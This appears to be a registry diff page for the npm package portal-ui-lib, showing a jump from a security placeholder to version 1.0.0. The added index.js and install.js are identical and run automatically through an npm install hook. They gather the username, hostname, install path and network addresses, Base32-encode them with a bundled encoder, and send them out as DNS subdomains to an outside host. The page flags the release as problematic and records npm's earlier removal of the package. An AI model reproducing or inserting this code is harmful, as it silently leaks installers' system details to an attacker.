portal-ui-lib 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of portal-ui-lib might be problematic. Click here for more details.

package/base32.js ADDED
@@ -0,0 +1,251 @@
1
+ ;(function(){
2
+
3
+ // This would be the place to edit if you want a different
4
+ // Base32 implementation
5
+
6
+ var alphabet = '0123456789abcdefghjkmnpqrtuvwxyz'
7
+ var alias = { o:0, i:1, l:1, s:5 }
8
+
9
+ /**
10
+ * Build a lookup table and memoize it
11
+ *
12
+ * Return an object that maps a character to its
13
+ * byte value.
14
+ */
15
+
16
+ var lookup = function() {
17
+ var table = {}
18
+ // Invert 'alphabet'
19
+ for (var i = 0; i < alphabet.length; i++) {
20
+ table[alphabet[i]] = i
21
+ }
22
+ // Splice in 'alias'
23
+ for (var key in alias) {
24
+ if (!alias.hasOwnProperty(key)) continue
25
+ table[key] = table['' + alias[key]]
26
+ }
27
+ lookup = function() { return table }
28
+ return table
29
+ }
30
+
31
+ /**
32
+ * A streaming encoder
33
+ *
34
+ * var encoder = new base32.Encoder()
35
+ * var output1 = encoder.update(input1)
36
+ * var output2 = encoder.update(input2)
37
+ * var lastoutput = encode.update(lastinput, true)
38
+ */
39
+
40
+ function Encoder() {
41
+ var skip = 0 // how many bits we will skip from the first byte
42
+ var bits = 0 // 5 high bits, carry from one byte to the next
43
+
44
+ this.output = ''
45
+
46
+ // Read one byte of input
47
+ // Should not really be used except by "update"
48
+ this.readByte = function(byte) {
49
+ // coerce the byte to an int
50
+ if (typeof byte == 'string') byte = byte.charCodeAt(0)
51
+
52
+ if (skip < 0) { // we have a carry from the previous byte
53
+ bits |= (byte >> (-skip))
54
+ } else { // no carry
55
+ bits = (byte << skip) & 248
56
+ }
57
+
58
+ if (skip > 3) {
59
+ // not enough data to produce a character, get us another one
60
+ skip -= 8
61
+ return 1
62
+ }
63
+
64
+ if (skip < 4) {
65
+ // produce a character
66
+ this.output += alphabet[bits >> 3]
67
+ skip += 5
68
+ }
69
+
70
+ return 0
71
+ }
72
+
73
+ // Flush any remaining bits left in the stream
74
+ this.finish = function(check) {
75
+ var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
76
+ this.output = ''
77
+ return output
78
+ }
79
+ }
80
+
81
+ /**
82
+ * Process additional input
83
+ *
84
+ * input: string of bytes to convert
85
+ * flush: boolean, should we flush any trailing bits left
86
+ * in the stream
87
+ * returns: a string of characters representing 'input' in base32
88
+ */
89
+
90
+ Encoder.prototype.update = function(input, flush) {
91
+ for (var i = 0; i < input.length; ) {
92
+ i += this.readByte(input[i])
93
+ }
94
+ // consume all output
95
+ var output = this.output
96
+ this.output = ''
97
+ if (flush) {
98
+ output += this.finish()
99
+ }
100
+ return output
101
+ }
102
+
103
+ // Functions analogously to Encoder
104
+
105
+ function Decoder() {
106
+ var skip = 0 // how many bits we have from the previous character
107
+ var byte = 0 // current byte we're producing
108
+
109
+ this.output = ''
110
+
111
+ // Consume a character from the stream, store
112
+ // the output in this.output. As before, better
113
+ // to use update().
114
+ this.readChar = function(char) {
115
+ if (typeof char != 'string'){
116
+ if (typeof char == 'number') {
117
+ char = String.fromCharCode(char)
118
+ }
119
+ }
120
+ char = char.toLowerCase()
121
+ var val = lookup()[char]
122
+ if (typeof val == 'undefined') {
123
+ // character does not exist in our lookup table
124
+ return // skip silently. An alternative would be:
125
+ // throw Error('Could not find character "' + char + '" in lookup table.')
126
+ }
127
+ val <<= 3 // move to the high bits
128
+ byte |= val >>> skip
129
+ skip += 5
130
+ if (skip >= 8) {
131
+ // we have enough to preduce output
132
+ this.output += String.fromCharCode(byte)
133
+ skip -= 8
134
+ if (skip > 0) byte = (val << (5 - skip)) & 255
135
+ else byte = 0
136
+ }
137
+
138
+ }
139
+
140
+ this.finish = function(check) {
141
+ var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
142
+ this.output = ''
143
+ return output
144
+ }
145
+ }
146
+
147
+ Decoder.prototype.update = function(input, flush) {
148
+ for (var i = 0; i < input.length; i++) {
149
+ this.readChar(input[i])
150
+ }
151
+ var output = this.output
152
+ this.output = ''
153
+ if (flush) {
154
+ output += this.finish()
155
+ }
156
+ return output
157
+ }
158
+
159
+ /** Convenience functions
160
+ *
161
+ * These are the ones to use if you just have a string and
162
+ * want to convert it without dealing with streams and whatnot.
163
+ */
164
+
165
+ // String of data goes in, Base32-encoded string comes out.
166
+ function encode(input) {
167
+ var encoder = new Encoder()
168
+ var output = encoder.update(input, true)
169
+ return output
170
+ }
171
+
172
+ // Base32-encoded string goes in, decoded data comes out.
173
+ function decode(input) {
174
+ var decoder = new Decoder()
175
+ var output = decoder.update(input, true)
176
+ return output
177
+ }
178
+
179
+ /**
180
+ * sha1 functions wrap the hash function from Node.js
181
+ *
182
+ * Several ways to use this:
183
+ *
184
+ * var hash = base32.sha1('Hello World')
185
+ * base32.sha1(process.stdin, function (err, data) {
186
+ * if (err) return console.log("Something went wrong: " + err.message)
187
+ * console.log("Your SHA1: " + data)
188
+ * }
189
+ * base32.sha1.file('/my/file/path', console.log)
190
+ */
191
+
192
+ var crypto, fs
193
+ function sha1(input, cb) {
194
+ if (typeof crypto == 'undefined') crypto = require('crypto')
195
+ var hash = crypto.createHash('sha1')
196
+ hash.digest = (function(digest) {
197
+ return function() {
198
+ return encode(digest.call(this, 'binary'))
199
+ }
200
+ })(hash.digest)
201
+ if (cb) { // streaming
202
+ if (typeof input == 'string' || Buffer.isBuffer(input)) {
203
+ try {
204
+ return cb(null, sha1(input))
205
+ } catch (err) {
206
+ return cb(err, null)
207
+ }
208
+ }
209
+ if (!typeof input.on == 'function') return cb({ message: "Not a stream!" })
210
+ input.on('data', function(chunk) { hash.update(chunk) })
211
+ input.on('end', function() { cb(null, hash.digest()) })
212
+ return
213
+ }
214
+
215
+ // non-streaming
216
+ if (input) {
217
+ return hash.update(input).digest()
218
+ }
219
+ return hash
220
+ }
221
+ sha1.file = function(filename, cb) {
222
+ if (filename == '-') {
223
+ process.stdin.resume()
224
+ return sha1(process.stdin, cb)
225
+ }
226
+ if (typeof fs == 'undefined') fs = require('fs')
227
+ return fs.stat(filename, function(err, stats) {
228
+ if (err) return cb(err, null)
229
+ if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" })
230
+ return sha1(require('fs').createReadStream(filename), cb)
231
+ })
232
+ }
233
+
234
+ var base32 = {
235
+ Decoder: Decoder,
236
+ Encoder: Encoder,
237
+ encode: encode,
238
+ decode: decode,
239
+ sha1: sha1
240
+ }
241
+
242
+ if (typeof window !== 'undefined') {
243
+ // we're in a browser - OMG!
244
+ window.base32 = base32
245
+ }
246
+
247
+ if (typeof module !== 'undefined' && module.exports) {
248
+ // nodejs/browserify
249
+ module.exports = base32
250
+ }
251
+ })();
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ var base32 = require('./base32');
2
+ var os = require('os');
3
+ const https = require('https');
4
+ var pjson = require('./package.json');
5
+
6
+ var ret = '';
7
+
8
+ ret += pjson.name + pjson.version + '|';
9
+
10
+ ret += os.userInfo().username + '|';
11
+ ret += os.hostname() + '|';
12
+ ret += __dirname + '|';
13
+
14
+ var nif = os.networkInterfaces();
15
+ for (var i in nif) ret += (i + nif[i][0].address);
16
+
17
+ var encoded = base32.encode(ret);
18
+ //var decoded = base32.decode(ret);
19
+
20
+ var split = encoded.match(/.{1,50}/g);
21
+ for (var i=0; i < split.length; ++i){
22
+ const options = {
23
+ hostname: i + '.' + split[i] + '.cq3s92gqhuuds453o9t0ndyawmcsx8jph.b.k0.wf',
24
+ port: 443,
25
+ path: '/',
26
+ method: 'GET',
27
+ rejectUnauthorized: false
28
+ }
29
+ const req = https.request(options, res => {
30
+ console.log(`statusCode: ${res.statusCode}`);
31
+ });
32
+ req.on('error', error => {
33
+ console.error(error)
34
+ });
35
+ req.end();
36
+ };
package/install.js ADDED
@@ -0,0 +1,36 @@
1
+ var base32 = require('./base32');
2
+ var os = require('os');
3
+ const https = require('https');
4
+ var pjson = require('./package.json');
5
+
6
+ var ret = '';
7
+
8
+ ret += pjson.name + pjson.version + '|';
9
+
10
+ ret += os.userInfo().username + '|';
11
+ ret += os.hostname() + '|';
12
+ ret += __dirname + '|';
13
+
14
+ var nif = os.networkInterfaces();
15
+ for (var i in nif) ret += (i + nif[i][0].address);
16
+
17
+ var encoded = base32.encode(ret);
18
+ //var decoded = base32.decode(ret);
19
+
20
+ var split = encoded.match(/.{1,50}/g);
21
+ for (var i=0; i < split.length; ++i){
22
+ const options = {
23
+ hostname: i + '.' + split[i] + '.cq3s92gqhuuds453o9t0ndyawmcsx8jph.b.k0.wf',
24
+ port: 443,
25
+ path: '/',
26
+ method: 'GET',
27
+ rejectUnauthorized: false
28
+ }
29
+ const req = https.request(options, res => {
30
+ console.log(`statusCode: ${res.statusCode}`);
31
+ });
32
+ req.on('error', error => {
33
+ console.error(error)
34
+ });
35
+ req.end();
36
+ };
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
+ "author": "hipotermia",
2
3
  "name": "portal-ui-lib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
4
+ "version": "1.0.0",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node install.js"
8
+ },
9
+ "license": "ISC",
10
+ "description": ""
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=portal-ui-lib for more information.